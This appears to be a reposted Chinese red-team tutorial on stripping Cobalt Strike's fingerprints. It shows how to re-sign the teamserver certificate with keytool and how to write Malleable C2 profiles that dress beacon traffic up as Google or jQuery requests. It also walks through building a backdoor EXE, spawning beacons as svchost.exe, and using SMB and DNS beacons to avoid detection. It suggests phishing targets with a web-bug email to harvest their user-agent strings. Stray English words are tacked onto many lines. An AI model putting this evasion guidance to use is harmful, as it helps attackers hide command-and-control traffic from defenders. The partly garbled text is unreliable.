出品|MS08067實驗室(www.ms08067.com)javascript
本文做者:BlackCat(Ms08067實驗室內網小組成員)
html
紅藍對抗的時候,若是未修改CS特徵、容易被藍隊溯源。java
vi teamserverjquery
java -XX:ParallelGCThreads=4 -Duser.language=en -Dcobaltstrike.server_port=50505 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -Xmx1024m -classpath ./cobaltstrike.jar server.TeamServer xxx.xxx.xx.xx test google.profilegit
查看keytool -list -v -keystore cobaltstrike.store 證書狀況,輸入默認密碼123456回車,能夠看到全部者、發佈者中Cobalt Strike相關字樣。github
而後修改 keytool
keytool是一個Java 數據證書的管理工具,使用以下:web
keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias taobao.com -dname "CN=US, OU=」taobao.com「, O=「Sofatest」, L=Beijing, ST=Cyberspace, C=CN"shell
而後 在觀測keytool。express
這時發現因此關於cobaltstrike的字眼都被替換掉了。瀏覽器
傳輸過程當中,把流量僞形成高信譽的網站,好比Google 、bing等 。
如今的大多數硬件WAF防禦設備都能檢測出來Cs的流量特徵,因此咱們必需要修改CS的流量特徵,CS的流量由malleable C2配置來掌控的,因此咱們須要定向去配置這個C2。
Malleable C2 是一種特定領域的語言,主要用來控制「Cobalt Strike Beacon」攻擊載荷中的網絡指針。
malleable C2詳細知識參考:
https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/
去配置以前先了解下有關Beacon的通訊基礎:
從Cobalt Strike 3.6版開始,能夠將HTTP動詞從POST更改成GET。Beacon忽略了此POST請求(配置文件中的http-post服務器)的響應。默認狀況下,Beacon將HTTP POST請求用於上述步驟#3和#4。根據您的目標環境或您正在模擬的流量,可能會注意到交替的GET和POST請求。在這種狀況下,請將http-post部分的動詞設置爲GET。
Beacon與teamserver端c2的通訊邏輯:
1.stager的beacon會先下載完整的payload執行
2.beacon進入睡眠狀態,結束睡眠狀態後用 http-get方式 發送一個metadata(具體發送細節能夠在malleable_profie文件裏的http-get模塊進行自定義),metadata內容大概是目標系統的版本,當前用戶等信息給teamserver端 。如圖的 1)
3.若是存在待執行的任務,則teamserver上的c2會響應這個metadata發佈命令。beacon將會收到具體會話內容與一個任務id。
4.執行完畢後beacon將回顯數據與任務id用post方式發送回team server端的C2(細節能夠在malleable_profile文件中的http-post部分進行自定義),而後又會回到睡眠狀態。
參考資料:https://www.chabug.org/web/832.html
許多 Beacon 指標由一個 C2 拓展文件控制。一個 C2 拓展文件由設置和數據轉換組成。數據轉換是一 個簡單的程序,它指定如何轉換數據並將其存儲在事務中。轉換和存儲數據的同一程序,向後解釋,還 從事務中提取和恢復數據。
配置文件語言:
建立配置文件的最佳方法是修改現有的配置文件。
Malleable配置文件下載:
git clone https://github.com/rsmudge/Malleable-C2-Profiles.git
CS中集成了一個包含在Linux平臺下的C2lint工具,下面是檢測這段代碼是否存在問題:
CD CobaltStrike
chmod 777 c2lint
./c2lint [/path/to/my.profile] #這個路徑是Malleable的配置文件路徑
./c2lint /Users/blackcat/Desktop/資源/CS學習/Malleable-C2-Profiles/APT/havex.profile
綠色爲運行成功,黃色的爲警告,紅色的error爲運行失敗。
這裏是運行成功;
而後咱們要修改裏面的參數 思路就是,默認值堅定不使用,具體以下:
set sample_name "AL"; #配置文件名稱:
set sleeptime "50000"; #設置sleep時間,單位是毫秒
set useragent "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2) Java/1.5.0_08"; #這個通常結合實戰環境去配置,從目標機構中捕獲一個真實的user-agent值而且插入到真實的流量中。
例如,能夠向目標機構成員發送一封帶有web漏洞的電子郵件並監視後續GET請求中發送的user-agent值。若是你使用的是明文的HTTP流量或者是目標環境中存在SSL攔截,那麼與環境不匹配的User-Agent值就會被防護者發現。
再往下的代碼是http部分。
這裏分塊來講明下。
http-get模塊:
如上圖所示。設定了victim的beacon發送給c2的metadata的相關配置。
1.在client部分中,先設置了多個http header頭,而後在uri中存儲一個參數。把Referer僞形成Google
2.而後又設置了在metadata數據在傳輸的時候,先base64加密而後將全部的值填寫在Cookie字段中。
3.在server部分,先設置多個header頭。而後更改相應內容而後base64編碼,而後把數據放在在body裏。
http-post模塊:
先說下Clinet模塊:
這裏面的id表明的是task id,任務執行後,beacon須要利用post方式來與c2進行通訊,須要傳送一個惟一的task id值,還須要傳送回顯。例如ipconfig命令,就會傳送命令的結果等。上面的header頭就跟以前的header頭的用途一致。
client中的output表明的是客戶端發送給服務端的響應用什麼形式發送,
server部分跟client比較相似因此不作太多講述。
此處能夠經過定製C2的配置,使得C2的流量混合在目標環境流量中,假裝爲正常應用流量,達到欺騙的做用。
我這裏僞造的是Google的流量,
而後運行這個C2配置文件:
服務端:
sudo ./teamserver 192.168.1.55 Malleable-C2-Profiles/APT/havex.profile
客戶端:
./start.sh
而後鏈接後,點擊 Cobalt Strike -- Listeners建立一個監聽模塊。而後經過這個監聽模塊建立一個後門文件 ,而後去上線一臺機器。
我這裏靶機地址:192.168.93.128
而後點擊 Attacks-- packages -- Windows Executable
生成一個 Windows後門可執行文件EXE。
而後把這個後門放到靶機裏使其上線。
而後;
打開 wireshark,而後開啓抓包
這裏要作下篩選:
http and tcp.port == 80 #我這裏CS監聽端口是80 能夠根據本身需求定製
而後 進入到被控機的beacon模式下。
執行命令 shell dir
而後發現已經抓取到包,查看下包的內容。
右鍵選定 --- follow --- TCP Tream
此時發現Referer爲Google 證實實驗成功,成功僞造流量。
下面的是基於JQuery的配置文件做爲基礎配
下載:
git clone https://github.com/threatexpress/malleable-c2.git
而後運行語法:
./c2lint [/path/to/my.profile] #這個路徑是Malleable的配置文件路徑
我這裏用的是CS4.0,因此選用這個profile
而後配置文件信息
參考前面的配置文件名稱,sleep時間、用戶代理,同上 user-agent仍是使用目標機的真實的user-agent值。
SSL證書設置 :
此設置控制用於HTTPS通訊的SSL證書。若是可能的話,請爲你正在使用的域使用真實的,正確發佈的SSL證書。LetsEncrypt能夠發佈全部主要操做系統和瀏覽器都信任的免費SSL證書,而且會讓防護者更難以檢查Beacon流量。
SpawnTo 過程 :
spawnto設置控制beacon生成的進程以便後滲透利用工做,以及什麼時候使用spawn命令。該命令也可使用命令行參數。
set %windir%\sysnative\svchost.exe -k localservice -p -s fdPHost
svchost.exe是微軟Windows操做系統中的系統文件,微軟官方對它的解釋是:svchost.exe 是從動態連接庫 (DLL) 中運行的服務的通用主機進程名稱。這個程序對系統的正常運行是很是重要,並且是不能被結束的。許多服務經過注入到該程序中啓動,因此會有多個該文件的進程。
若是防護者查看正在運行進程的命令行,額外的參數能夠幫助Beacon進一步混淆。可是很難找到與spawnto一塊兒使用的最合適的選項。選擇前要進行實驗和測試。
SMB 信標:
SMB 信標使用命名管道經過父信標進行通訊。這容許在同一主機或網絡上的信標之間進行點對點通訊。能夠配置SMB 信標的管道名稱。不要使用默認設置,由於一些防護性產品會查找這些默認設置。選擇可以混合到目標環境的內容。
關於SMB信標的更多能容,請訪問:
https://www.cobaltstrike.com/help-smb-beacon
DNS信標
DNS信標使用DNS進行所有或部分通訊。根據目標環境的防護技術,DNS流量很容易就能被檢測到,但一般是防護者的盲點。DNS最適合用做低速和慢速備份通道。更改默認設置以更好地適應你遇到的環境。
有關DNS信標的更多信息,請訪問以下連接:
https://www.cobaltstrike.com/help-dns-beacon
分段過程(staging process)
能夠自定義信標分段過程。分段過程是用於徹底加載信標的代碼存根。
瞭解有關Beacon分段過程的更多信息,請閱讀這篇文章:
https://blog.cobaltstrike.com/2013/06/28/staged-payloads-what-pen-testers-should-know/
幸運的是,能夠修改Beacon stager的HTTP特性。更改這些設置以模仿單個合法的HTTP請求/響應。
在此示例中,請求將發送到
/jquery-3.3.1.slim.min.js
或/jquery-3.3.2.slim.min.js
(取決於目標進程體系結構),以開始分段過程。構建HTTP服務器參數以模仿jQuery請求。Beacon命令和payload被混合到jQuery javascript文本塊中。從CDN請求jQuery時,客戶端發出一個合理的請求。
不少網站發出請求的實現方式以下:
在某些狀況下,使用stageless payload可能更好,由於分段過程可能會觸發防護產品的報警。
內存指示器
一些最新的Malleable C2功能能夠修改許多Beacon內存指示器。
有關控制Beacon內存指示器的詳細信息,請參閱下面連接:
https://blog.cobaltstrike.com/2018/02/08/in-memory-evasion
https://www.youtube.com/playlist?list=PL9HO6M_MU2nc5Q31qd2CwpZ8J4KFMhgnK
此示例使用peclone工具從explorer.exe中提取內存元數據,另存爲Beaconpayload的一部分,而且採用了Raphael發佈的一篇博客「In-Memory Evasion」中的一些建議。
http-get&http-post
http-get 和 http-post 修改格式和上面基本相似
這裏 都是僞形成 jquery.com的流量。
測試驗證:
./c2lint c2lint jquery-c2.3.11.profile
Manual Testing(手工測試)
除了使用c2lint進行測試外,還要在測試系統上手動測試Beacon的全部功能。
手動測試和驗證的快速步驟
sudo ./teamserver 192.168.1.10 zaq123 jquery-c2.4.0profile
這裏檢測沒問題 流量特徵都已經被修改。
還有一種 CDN僞造技術 詳細參考
https://paper.seebug.org/1349/#3cobalt-strike-dns_idle
參考:
CobalStrike 繞過流量審計:https://paper.seebug.org/1349/
CobaltStrike」應用攻擊手段實例分析:https://zhuanlan.zhihu.com/p/145505228
cobalt strike malleable C2配置文件編寫:https://blog.csdn.net/kongbaijun2000/article/details/109604547
深刻研究cobalt strike malleable C2配置文件:https://xz.aliyun.com/t/2796
How to Write Malleable C2 Profiles for Cobalt Strike:https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/
CobaltStrike之Malleable-C2-Profiles配置:https://www.zzhsec.com/544.html
轉載請聯繫做者並註明出處!